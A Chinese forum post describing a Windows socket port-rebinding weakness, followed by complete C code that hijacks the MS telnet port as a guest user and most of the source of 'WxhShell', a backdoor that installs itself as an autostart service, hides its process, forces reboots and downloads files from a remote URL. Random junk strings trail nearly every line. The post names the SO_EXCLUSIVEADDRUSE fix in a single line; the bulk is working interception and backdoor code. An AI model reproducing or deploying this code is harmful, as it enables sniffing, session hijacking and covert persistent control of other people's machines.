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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mEmgr(W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uZM%F)  
,. zHG  
  saddr.sin_family = AF_INET; I`77[  
`_()|;!y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o)f$ 7.  
tkYPfUvTE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cOf.z)kf6  
\kZ@2.pN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $."D OZQ3U  
ekW#|  
  这意味着什么?意味着可以进行如下的攻击: n8E3w:A-  
2:RFPK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H: nO\]  
ce3``W/H3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]eUD3WUe>q  
4T6: C?V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0GW69 z  
F}.R -j#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q[Tl#*P?y  
"574%\#4z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O]Ey@7 &  
JXV#V7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ev #/v:$?  
9?q ^yy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nA(5p?D+YB  
Y <`X$  
  #include NFyV02.  
  #include NoMlTh(O  
  #include p"7]zq]'  
  #include    O=vD6@QI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6i;q=N$'  
  int main() Zt& 7p  
  { LSR0yCU  
  WORD wVersionRequested; bXvriQ.UH  
  DWORD ret; EERCb%M 8Z  
  WSADATA wsaData; !UR3`Xk  
  BOOL val; Y(] W+k<  
  SOCKADDR_IN saddr; #)#J`s1R  
  SOCKADDR_IN scaddr; X(O:y^sX}  
  int err; .}GOHW)}  
  SOCKET s; *0vRVlYf  
  SOCKET sc; KRX\<@  
  int caddsize; !3<b#QAXRG  
  HANDLE mt; p1[|5r5Day  
  DWORD tid;   !<HF764@`  
  wVersionRequested = MAKEWORD( 2, 2 ); k0&FUO  
  err = WSAStartup( wVersionRequested, &wsaData ); 2Jky,YLcb  
  if ( err != 0 ) { fRxn,HyV  
  printf("error!WSAStartup failed!\n"); 7|"l/s9,  
  return -1; Y3#8]Z_"}O  
  } 7xM4=\~OG  
  saddr.sin_family = AF_INET; :]4s;q:m  
   IA Ws}xIly  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k& M~yb  
\PD%=~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?VCp_Ji  
  saddr.sin_port = htons(23); $> ;|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s1R#X~d  
  { ]heVR&bQ  
  printf("error!socket failed!\n"); xi=0 kO  
  return -1; vT MCZ+^g  
  } OLWn0  
  val = TRUE; S(Z\h_m(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WL|71?@C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q6hH]Q>w*  
  { U# IPYyV  
  printf("error!setsockopt failed!\n"); v-8{mK`9\  
  return -1; ([|^3tM  
  } LN) yQ-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~c5 5LlO>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~Y{]yBGoF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Lr20xm  
8QMMKO ui\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <Qr*!-Kc6  
  { elR1NhB|p  
  ret=GetLastError(); -]-0]*oAp  
  printf("error!bind failed!\n"); t<"`gM^|  
  return -1; m;nH v  
  } 9ei<ou_s  
  listen(s,2); [VLq/lg*  
  while(1) I %sw(uoE  
  { "$b{EYq6  
  caddsize = sizeof(scaddr); q,_E HPc  
  //接受连接请求 N?8nlrDQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bl^pMt1fv  
  if(sc!=INVALID_SOCKET) 'K}2m  
  { EiP N44(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]T(qk  
  if(mt==NULL) oCLM'\  
  { <(~Wg{  
  printf("Thread Creat Failed!\n"); vXZP>  
  break; ?%%vQ ?  
  } P8H2v_)X&  
  } SmRFxqtN  
  CloseHandle(mt); unRFcjEa  
  } J7`;l6+Gb  
  closesocket(s); 4uh~@Lv  
  WSACleanup(); <IBUl}|\  
  return 0; 1d842pt  
  }   <;@E .I\N  
  DWORD WINAPI ClientThread(LPVOID lpParam) [h_d1\ Cr  
  { i-#Dc (9  
  SOCKET ss = (SOCKET)lpParam; foBF]7Bz?  
  SOCKET sc; ?=1i:h  
  unsigned char buf[4096]; 6mIeV0Q'  
  SOCKADDR_IN saddr; Q/J<$W*,  
  long num; mwn$ey&QE  
  DWORD val; &4%78K\  
  DWORD ret; \ [M4[Qlq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1D2RhM%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uKTYb#E7  
  saddr.sin_family = AF_INET; .g7\+aiTUd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IGo5b-ds  
  saddr.sin_port = htons(23); C!nbl+75  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k nzo6  
  { ILiOEwHS7F  
  printf("error!socket failed!\n"); &h.?~Ri  
  return -1; ]zj&U#{  
  } FW)~e*@8=  
  val = 100; {d0 rUHP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I)9 ,  
  { VV#'d  
  ret = GetLastError(); #)i+'L8  
  return -1; ' QjJ^3A  
  } #s#BYbF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *5\'$;Rg  
  { HX,i{aWWy  
  ret = GetLastError(); ~0o>B$xJ  
  return -1; naA8RD5/  
  } sO!m,pK(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~9,Fc6w4`+  
  { sHV?njZd  
  printf("error!socket connect failed!\n"); loHMQKy@  
  closesocket(sc); \4 +HNy3  
  closesocket(ss); `,Y3(=3Xe?  
  return -1; rmFcSolt,f  
  } 0-uVmlk=/  
  while(1) \IEuu^  
  { |oePB<N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \@T;/Pj{[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sPl3JP&s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {qU;>;(  
  num = recv(ss,buf,4096,0); h0A%KL  
  if(num>0) P)hGe3  
  send(sc,buf,num,0); d/@P;YN!  
  else if(num==0) ?5^DQ|Hg ^  
  break; s$lJJL  
  num = recv(sc,buf,4096,0); cxFyN ;7  
  if(num>0) 6\v4#  
  send(ss,buf,num,0); rJB/)4 mE  
  else if(num==0) 2z AxGX  
  break; ;!7M<T$&  
  } -a"b:Q  
  closesocket(ss); I47sqz7  
  closesocket(sc); 2T@?&N^OD  
  return 0 ; r gi4>  
  } @Jb-[W$*  
Uc ; S@  
g706*o)h  
========================================================== g5x>}@ONq7  
<(xro/  
下边附上一个代码,,WXhSHELL 'F:Tv[qx  
gNkBHwv  
========================================================== Fiw^twz5  
3Tc90p l*t  
#include "stdafx.h" FBOgaI83G  
x2/ciC  
#include <stdio.h> /^gu&xnS  
#include <string.h> /)dyAX(  
#include <windows.h> "`4M4`'  
#include <winsock2.h> ,% .)mf  
#include <winsvc.h> v`Ja Bn  
#include <urlmon.h> ^X"x,8}&V  
A!uiM*"W  
#pragma comment (lib, "Ws2_32.lib") Jp_ :.4  
#pragma comment (lib, "urlmon.lib") r Cz,XYV  
tWQ$`<h  
#define MAX_USER   100 // 最大客户端连接数 Adfnd  
#define BUF_SOCK   200 // sock buffer (.wR!l# !  
#define KEY_BUFF   255 // 输入 buffer 10GU2a$0"$  
=.) :tGDp  
#define REBOOT     0   // 重启 }^b  
#define SHUTDOWN   1   // 关机 RXu` DWN  
9C!b f \  
#define DEF_PORT   5000 // 监听端口 ?+%bEZ`  
N| P?!G-=  
#define REG_LEN     16   // 注册表键长度 V?jWp$  
#define SVC_LEN     80   // NT服务名长度 MOi1+`kwh  
:2XX~|  
// 从dll定义API r]aI=w<(f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WD*z..`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WY5HmNX3E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i'1 MZ%.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I= cayR  
PIoBKCJ  
// wxhshell配置信息 ^V]IPGV  
struct WSCFG { -[h|*G.J  
  int ws_port;         // 监听端口 M=4b  
  char ws_passstr[REG_LEN]; // 口令 2p58_^l  
  int ws_autoins;       // 安装标记, 1=yes 0=no YOA)paq+  
  char ws_regname[REG_LEN]; // 注册表键名 ?V(+Cc  
  char ws_svcname[REG_LEN]; // 服务名 6!;D],,"#.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k\g:uIsv$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vWL| vR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZG~d<kM&8s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9ESV[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .&8a ;Q?c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ERiBALN:  
|8)\8b|VuC  
}; %&s4YD/{  
{K:] dO  
// default Wxhshell configuration 2 i NZz  
struct WSCFG wscfg={DEF_PORT, K `A8N  
    "xuhuanlingzhe", X/m~^  
    1, ^f,%dM=i=  
    "Wxhshell", PR,8c  
    "Wxhshell", VtGZB3  
            "WxhShell Service", _?eT[!oO8  
    "Wrsky Windows CmdShell Service", aB`jFp-  
    "Please Input Your Password: ", T#[#w*w/  
  1, R D?52\  
  "http://www.wrsky.com/wxhshell.exe",  NfmHa  
  "Wxhshell.exe" $s 'n]]Wq  
    }; g8" H{u  
[N<rPHT  
// 消息定义模块 +c__U Qx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L@ejFXQg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Xr*1DI<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >t%@)]*N  
char *msg_ws_ext="\n\rExit.";  [ A 7{}  
char *msg_ws_end="\n\rQuit."; .Sv/0&O  
char *msg_ws_boot="\n\rReboot..."; @18}'k  
char *msg_ws_poff="\n\rShutdown..."; l 3 jlKB  
char *msg_ws_down="\n\rSave to "; ,3!4 D^  
o,@ (]e~  
char *msg_ws_err="\n\rErr!"; Q-1 Xgw!  
char *msg_ws_ok="\n\rOK!"; aY6F4,7/B  
*55unc  
char ExeFile[MAX_PATH]; n8`WU3&  
int nUser = 0; D#^euNiWd  
HANDLE handles[MAX_USER]; u*rHKZ9i  
int OsIsNt; q0NToVo@  
*9EW &Ek  
SERVICE_STATUS       serviceStatus; "98 j-L=F+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dyohs_  
%8d]JQ  
// 函数声明 r @ !  
int Install(void); }XqC'z  
int Uninstall(void); dQO 5  
int DownloadFile(char *sURL, SOCKET wsh); U\-R'Z>M  
int Boot(int flag); rZ2cC#  
void HideProc(void); _6g(C_m'T?  
int GetOsVer(void);  s=556  
int Wxhshell(SOCKET wsl); Py?Q::  
void TalkWithClient(void *cs); $ ?|;w,%I  
int CmdShell(SOCKET sock); =hY/Yr%P  
int StartFromService(void); 4U u`1gtz  
int StartWxhshell(LPSTR lpCmdLine); 2^f7GP  
)CgH|z:=b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); imKMPO=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); < Pi#-r.,  
.1_kRy2*.  
// 数据结构和表定义 \^jRMIM==  
SERVICE_TABLE_ENTRY DispatchTable[] = wyXQP+9G  
{ @ rF|WT  
{wscfg.ws_svcname, NTServiceMain}, ~=|QPO(d  
{NULL, NULL} J93xxj  
}; 1xSG(!  
#&%>kfeJ)<  
// 自我安装 r\)bN4-g  
int Install(void) C;.,+(G  
{ <;Tr   
  char svExeFile[MAX_PATH]; Z#YNL-x  
  HKEY key; R dNL f  
  strcpy(svExeFile,ExeFile); |IS$Om  
F07X9s44E  
// 如果是win9x系统,修改注册表设为自启动 p./0N.  
if(!OsIsNt) { aK 7 }}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !%.=35NS@E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i6g=fx6j*  
  RegCloseKey(key); iq,rS"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e^$JGh2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 15r=d  
  RegCloseKey(key); {w7/M]m-  
  return 0; ExeZj8U  
    } E=`/}2  
  } c5: X$k\  
} Z[eWey_  
else { |--Jd$ dj  
mkl^2V13~  
// 如果是NT以上系统,安装为系统服务 l[rK)PM   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I0!]J{  
if (schSCManager!=0) $g/h=w@  
{ ?nWzJ5w3  
  SC_HANDLE schService = CreateService 3xiDt?&H  
  ( g(,^'; j  
  schSCManager, n|KYcU#  
  wscfg.ws_svcname, U.JE \/  
  wscfg.ws_svcdisp, i83[':  
  SERVICE_ALL_ACCESS, Q|e-)FS)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 90K&oof?M  
  SERVICE_AUTO_START, UM<s#t`\3  
  SERVICE_ERROR_NORMAL, ^)(tO$S  
  svExeFile, ? Dn}  
  NULL, l@ (:Q!Sk  
  NULL, \-f/\P/ w  
  NULL, bZ``*{I/  
  NULL, JYv<QsD  
  NULL PTqia!  
  ); _ElG&hyp  
  if (schService!=0) `!AI:c*3p1  
  { DuIXv7"[  
  CloseServiceHandle(schService);  WjCxTBI  
  CloseServiceHandle(schSCManager); A7|L|+ ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "F6gV;{Bt  
  strcat(svExeFile,wscfg.ws_svcname); /bPs0>5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KSHq0A6/q%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S4'<kF0z  
  RegCloseKey(key); *[|+5LVn  
  return 0; }W&9}9p"  
    } 1:>F{g  
  } +C[g>c}d  
  CloseServiceHandle(schSCManager); 1ANb=X|hig  
} b6p'%;Y/  
} , 2xv  
N"suR}9%  
return 1; '2ZvK  
} i'4.w?OZ  
R<(xWH  
// 自我卸载 Ks@c wY  
int Uninstall(void) s~9n13z  
{ Vu=/<;-N  
  HKEY key; C,GZ  
t,IOq[Vtk  
if(!OsIsNt) { 8ZLHN',  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xV 2C4K  
  RegDeleteValue(key,wscfg.ws_regname); 7D4tuXUq2  
  RegCloseKey(key); NzTF2ve(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i^V(LGQF  
  RegDeleteValue(key,wscfg.ws_regname); ODhq `?(N  
  RegCloseKey(key); v"Ax'()  
  return 0; `E?0jQ  
  } x~wS/y  
} -a&<Un/  
} 4e#$ -V   
else { w6WPfy(/2  
)%3T1 D/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j@ D,2B;  
if (schSCManager!=0) C4P<GtR9  
{ XM,slQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q b/}&J7+  
  if (schService!=0) o. ;Vrc  
  { ^_<|~  
  if(DeleteService(schService)!=0) { o:fe`#t  
  CloseServiceHandle(schService); RAP-vVh/C  
  CloseServiceHandle(schSCManager); CxZh^V8LP  
  return 0; l`i97P?/W  
  } \C h01LR"  
  CloseServiceHandle(schService); 2E[7RBFY+\  
  } I[d<SHo  
  CloseServiceHandle(schSCManager); ]JV'z<  
} TlRc8r|  
} ^|]Dg &N.  
~x#TfeU]  
return 1; "=T &SY  
} d Rnf  
+yHz7^6-5  
// 从指定url下载文件 c38XM]Jeq  
int DownloadFile(char *sURL, SOCKET wsh) 4=MjyH|[Jx  
{ CgrQ" N5  
  HRESULT hr; 8/BMFRJ  
char seps[]= "/"; pDSNI2  
char *token; D fzsA4  
char *file; \6JOBR  
char myURL[MAX_PATH]; -!:5jfT"  
char myFILE[MAX_PATH]; #mA(x@:*  
OTdijQLY  
strcpy(myURL,sURL); AyOibnoZ2E  
  token=strtok(myURL,seps); i >s  
  while(token!=NULL) ~IS8DW$;  
  { fyA-*)oHv  
    file=token; kMMgY?  
  token=strtok(NULL,seps); nGkSS_X  
  } =@?[.`  
%&| uT  
GetCurrentDirectory(MAX_PATH,myFILE); R]iV;j|  
strcat(myFILE, "\\"); ,1$F #Eh  
strcat(myFILE, file); uMS+,dXy  
  send(wsh,myFILE,strlen(myFILE),0); C?T\5}h  
send(wsh,"...",3,0); G+t:]\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &Xqxuy ]J  
  if(hr==S_OK) mV$ebFco0  
return 0; 4n@lrcq(  
else m(6d3P  
return 1; a[(OeVQ5  
G~YZ(+V%~  
} voRry6Q;  
)J}v.8   
// 系统电源模块 U5OX.0  
int Boot(int flag)  pUb1#=  
{ ^hmV?a:Y  
  HANDLE hToken; U`mX f#D  
  TOKEN_PRIVILEGES tkp; bIAE?D  
P<<+;']  
  if(OsIsNt) { !}#> ky!t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]A'{DKR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  p;w&}l{{  
    tkp.PrivilegeCount = 1; +*:mKx@Nw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /[.V(K D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -HG .GA  
if(flag==REBOOT) { R[ a-"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .qO4ceW2-~  
  return 0; {_-kwg{"(  
} uK2HtRY1  
else { {E:`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gM\>{ihM'  
  return 0; pOc2V  
} 5mD8$% \8  
  } 7"!b5(4=  
  else { 'bi;Y1:  
if(flag==REBOOT) { dm4Q'u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ` 3qf}=Z`  
  return 0; q"u,Tnc;  
} A iM ukd,  
else { i}sAF/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G`Nw]_ Z_  
  return 0; m9DFnk<D  
} }kqh[`:  
} .ybmJU*Hg  
w`)5(~b  
return 1; W2 -%/  
} nn_O"fZi  
]?tRO  
// win9x进程隐藏模块 =9GA LoGL  
void HideProc(void) Q&eyqk   
{ o utJ/~9;  
?,>3uD#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lFjz*g2'  
  if ( hKernel != NULL ) dFy$w=  
  { s5nw<V9$]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \9)5b8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hd|[>4Z  
    FreeLibrary(hKernel); <l{oE? N  
  } k&ci5MpN  
&zdS9e-fF  
return; ""0 Y^M2I  
} Rql/@j`JX  
ga 5Q  
// 获取操作系统版本 9\_AB.Z:  
int GetOsVer(void) /?'~`4!(  
{ K ze?@*  
  OSVERSIONINFO winfo; h;gc5"mG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {aY) Qv}  
  GetVersionEx(&winfo); l{{,D57J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {dpC;jsW1  
  return 1; w}xA@JgQ%  
  else @7twe;07r  
  return 0; -tj#BEC[H(  
} k$3pmy*  
JU?;Kq9R  
// 客户端句柄模块 .9nqJ7]  
int Wxhshell(SOCKET wsl) yE8D^M|g  
{ !kovrvM6F  
  SOCKET wsh; .xJ54Vz  
  struct sockaddr_in client; K%v:giN$l`  
  DWORD myID; D$hQ-K  
4=L>  
  while(nUser<MAX_USER) jIubJQR~  
{ J3eud}w  
  int nSize=sizeof(client); 8;@y\0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >n"0>[:4  
  if(wsh==INVALID_SOCKET) return 1; ?+t;\  
ys9:";X;}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >dl5^  
if(handles[nUser]==0) 4YfM.~ 6  
  closesocket(wsh); T+Z[&|  
else J4T"O<i$58  
  nUser++; >3!~U.AA'x  
  } o[ZjXLJzV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _J1\c~ke"  
zm&[K53  
  return 0; 2{79,Js0  
} lVvcrU  
^4n#''wJ  
// 关闭 socket fsL9d}  
void CloseIt(SOCKET wsh) @+b$43 ^  
{ f24W*#IX  
closesocket(wsh); q/EX`%U  
nUser--; *9\j1Nd  
ExitThread(0); ?b]zsku8  
}  LCor T-  
?Q"andf  
// 客户端请求句柄 6$urrSQ`N0  
void TalkWithClient(void *cs) nwFBuP<LR  
{ @z1QoZ^w  
\zBi-GI7  
  SOCKET wsh=(SOCKET)cs; ZNBowZI  
  char pwd[SVC_LEN]; ` UsJaoR#f  
  char cmd[KEY_BUFF]; ?Lg<)B9   
char chr[1]; EF)BezG5y  
int i,j; 5?0<.f,  
R-Edht|{  
  while (nUser < MAX_USER) { syl7i>P  
W.j^L;  
if(wscfg.ws_passstr) { _k@cs^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }yT/UlU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]}L'jK 0  
  //ZeroMemory(pwd,KEY_BUFF); T!c|O3m  
      i=0; HMd?`  
  while(i<SVC_LEN) { Nc\DXc-N  
*Jsb~wta  
  // 设置超时 XDPR$u8hM  
  fd_set FdRead; <x}wy+SG  
  struct timeval TimeOut; !n-Sh<8  
  FD_ZERO(&FdRead); KhR3$|fH<  
  FD_SET(wsh,&FdRead); ",/6bs#$  
  TimeOut.tv_sec=8; v9f+ {Y%-  
  TimeOut.tv_usec=0; jEBn"]\D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oMbd1uus  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :s *  
|5~Oh`w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rI$NNk'A  
  pwd=chr[0]; >?^oxB"<Gc  
  if(chr[0]==0xd || chr[0]==0xa) { \IL)~5d  
  pwd=0; |4@cX<d.  
  break; _Raf7W  
  } hz:7W8  
  i++; p<L7qwOii  
    } B?j t?  
/|v4]t-  
  // 如果是非法用户,关闭 socket H:DR?'yW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [%K6-\S  
} x1 |/  
9y!0WZE{e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]+I9{%zB%8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9lq5\ tL-  
edL2ax  
while(1) { Ze0qRLuH!  
v2x+_K}J  
  ZeroMemory(cmd,KEY_BUFF); }b1G21Dc!  
!<];N0nt#  
      // 自动支持客户端 telnet标准   %+'Ex]B  
  j=0; {"]!zL  
  while(j<KEY_BUFF) { 2^'Ec:|f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J 1w[gf]J  
  cmd[j]=chr[0]; YoKE=ln7  
  if(chr[0]==0xa || chr[0]==0xd) { i9ySD  
  cmd[j]=0; B#g~c<4<  
  break; 0qN`-0Yk  
  } _mm(W=KiL  
  j++; cSPQ NYU:  
    } FJ0I&FyWs  
Jr5S8 c|"  
  // 下载文件 9QU\J0c/  
  if(strstr(cmd,"http://")) { : #a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZxtO.U2  
  if(DownloadFile(cmd,wsh)) mu\1hKq;B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aU6l>G`w  
  else ,b5'<3\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e=&~6bs1U  
  } ~xqiasE#K  
  else { w+6P x#  
}.g5zy  
    switch(cmd[0]) { kP`#zwp'Ci  
  Zu"qTJE/1  
  // 帮助 uw3vYYFX  
  case '?': { .))g]CH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }ktIG|GC  
    break; 6w<rSUd'  
  } ho=!Yy  
  // 安装 qt L]x -O  
  case 'i': { y[b 8rv  
    if(Install()) Q"I(3 tp9[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  bUcp8  
    else `}ak]Z_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,=+t2Bn  
    break; xgxfPcI  
    }  T7nI/y  
  // 卸载 LzL)qdL  
  case 'r': { Pg}QRCB@  
    if(Uninstall()) 1o&zA<+NY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nXn@|J&z~U  
    else 3(oMASf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AFi_P\X  
    break; J$6WUz:?  
    } xn`)I>v  
  // 显示 wxhshell 所在路径 d92Z;FWb  
  case 'p': { eKOEOm+  
    char svExeFile[MAX_PATH]; uF<34  
    strcpy(svExeFile,"\n\r"); ZiZ@3O6  
      strcat(svExeFile,ExeFile); 3t<a3"{9  
        send(wsh,svExeFile,strlen(svExeFile),0); WVR/0l&bU  
    break; a{xJ#_/6  
    } qy'-'UlIr  
  // 重启 K9zr]7;th  
  case 'b': { ,ciX *F"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?t%{2a<X  
    if(Boot(REBOOT)) s~{rC{9X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <eXGtD  
    else { bse`Xfg  
    closesocket(wsh); [;wJM|Z J0  
    ExitThread(0); q0 }u%Yz  
    } =@d#@  
    break; CcUF)$kz  
    } ;i[JCNiS\  
  // 关机 2-@)'6"n  
  case 'd': { Z5xQ -T`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DinZ Z  
